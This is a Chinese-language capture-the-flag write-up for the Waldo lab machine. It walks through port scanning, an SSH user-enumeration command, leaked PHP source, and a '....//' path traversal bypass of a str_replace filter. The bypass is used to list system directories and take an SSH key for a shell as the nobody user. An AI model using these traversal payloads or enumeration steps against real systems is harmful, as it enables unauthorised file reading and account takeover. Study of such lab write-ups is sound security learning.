Waldo(php代码审计-用户输入过滤不严)

info enum

1
2
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.5 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.12.2

web


该web,很简单,有4个php script,分别用来读、写、删除文件。

1
http://10.10.10.87/fileWrite.php

Trying

try1:

php版本:Powered-By: PHP/7.1.16(响应头)
中间件版本:nginx/1.12.2

怀疑php反序列化,复习一下

参考资料:
初识php反序列化

PHP Object Injection


确认输入点,是post传输。先记录下,post传输的参数字段。

1
2
3
4
5
6
7
8
9
10
11
/fileWrite.php
listnum=7&data=

/fileDelete.php
listnum=5

/fileRead.php
path=./.list/list1

/dirRead.php
path=./.list/

然后,删除主目录下所有文件;burp抓包,post发送数据listnum=1&data={"1":"New%20Item"},给fileWrite.php。

发现,主目录下成功生成一个新文件。

PHP中会调用一个函数serialize(),它接收一个给定的数组作为输入参数,并能够将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

确认反序列化漏洞。

try2: openssh用户枚举

python ssh.py --port 22 --outputFile 87.txt --userList /usr/share/wordlists/linux-user.txt 10.10.10.87

try3: 通过反序列化漏洞进行命令执行

我知道是用户输入未验证导致的问题,但不知道如何利用。还是经验不够。


writeup:


/dirRead.php当时发现了如图所示的“列目录”,也尝试了“../../../../etc/passwd”,但网页提示false,于是就不知道怎么办了。

想过是否泄露源代码,通过http://ip/dirRead.php去访问,当然不行,网页是空白的。


1
2
3
4
5
dirRead.php
path=./.

response网页的响应:
[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]

1
2
3
4
5
/fileRead.php
path=./.list/list1

response网页的响应:
{"file":"{\"1\":\"Enumerate\",\"2\":\"Enumerate\",\"3\":\"Enumerate\",\"4\":\"Enumerate\"}\n"}

1
2
3
4
5
6
/fileRead.php
file=./fileRead.php

response网页的响应:

{"file":"<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\t$fileContent['file'] = false;\n\theader('Content-Type: application\/json');\n\tif(isset($_POST['file'])){\n\t\theader('Content-Type: application\/json');\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file'])); \n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n"}

如何解析json格式数据?

sed 's/\\n/\n/g' < fileRead.php | sed 's/\\t/\t/g' | sed 's/\\//g'
将“\n”替换为换行符,“\t”替换为制表符,斜杠替换为空。

1
2
3
#!/bin/bash
read -p "filename? " file
sed 's/\\n/\n/g' < ${file} | sed 's/\\t/\t/g' | sed 's/\\//g'

php代码分析

fileRead.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($_SERVER['REQUEST_METHOD'] === "POST"){
$fileContent['file'] = false;
header('Content-Type: application/json');
if(isset($_POST['file'])){
header('Content-Type: application/json');
$_POST['file'] = str_replace( array("../", "..""), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){ /*如果没有找到user.txt字符串*/
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file'])); /*读取file文件的内容*/
fclose();
}
}
echo json_encode($fileContent);
}

str_replace()函数:

如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。

将file参数输入的数../..替换为空。

所以../../etc/passwd,会替换为etc/passwd

dirRead.php

1
2
3
4
5
6
7
8
9
10
11
12
13
{"file":"<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
if(isset($_POST['path'])){
header('Content-type: application/json');
$_POST['path'] = str_replace( array("../", "..""), "", $_POST['path']);
echo json_encode(scandir("/var/www/html/" . $_POST['path']));
}else{
header('Content-type: application/json');
echo '[false]';
}
}
"}

scandir() 函数返回指定目录中的文件和目录的数组。


获取敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
path=./
path=
[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]

推测 /var/www/html/目录下有这些文件
于是访问http://10.10.10.87/background.jpg,成功验证。
--------------------------
path=./.list
[".","..","list1","list2"]
了解到/var/www/html/.list目录下后这些文件
---------------------
于是想要访问/var/www/,查看目录下有哪些文件
path=..../
[".","..","html","localhost"]
于是获得该目录有这两个文件。
-----------
path=....//....//
[".","..","cache","empty","lib","local","lock","log","opt","run","spool","tmp","www"]
------------
path=....//....//....//
[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]
-------------
path=....//....//....//etc
[".","..","TZ","alpine-release","apk","ca-certificates","ca-certificates.conf","conf.d","crontabs","default","environment","fstab","group","group-","hostname","hosts","init.d","inittab","issue","localtime","login.defs","logrotate.d","modprobe.d","modules","modules-load.d","motd","mtab","network","nginx","opt","os-release","pam.d","passwd","passwd-","periodic","php7","profile","profile.d","protocols","resolv.conf","securetty","security","services","shadow","shadow-","shells","ssh","ssl","supervisor","supervisord.conf","sysctl.conf","sysctl.d","terminfo","udhcpd.conf","vim"]


本来想直接列user.txt,但可能有权限问题,提示false。

1
2
path=....//....//....//....//home/nobody/
[".","..",".ash_history",".ssh",".viminfo","user.txt"]

file=….//….//….//….//home/nobody/.ssh/authorized_keys
ssh密钥文件


获得shell

1
2
3
4
5
6
7
8
9
ssh nobody@10.10.10.87 -i id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
Permission denied (publickey).

遇到一个错误。

是id_rsa权限问题

1
2
3
-rw-r--r-- 1 root root   1675 Dec 21 22:47 id_rsa
修改一下权限,chmod 400 id_rsa
-r-------- 1 root root 1675 Dec 21 22:47 id_rsa

今天也是菜菜的一天,继续加油吧~~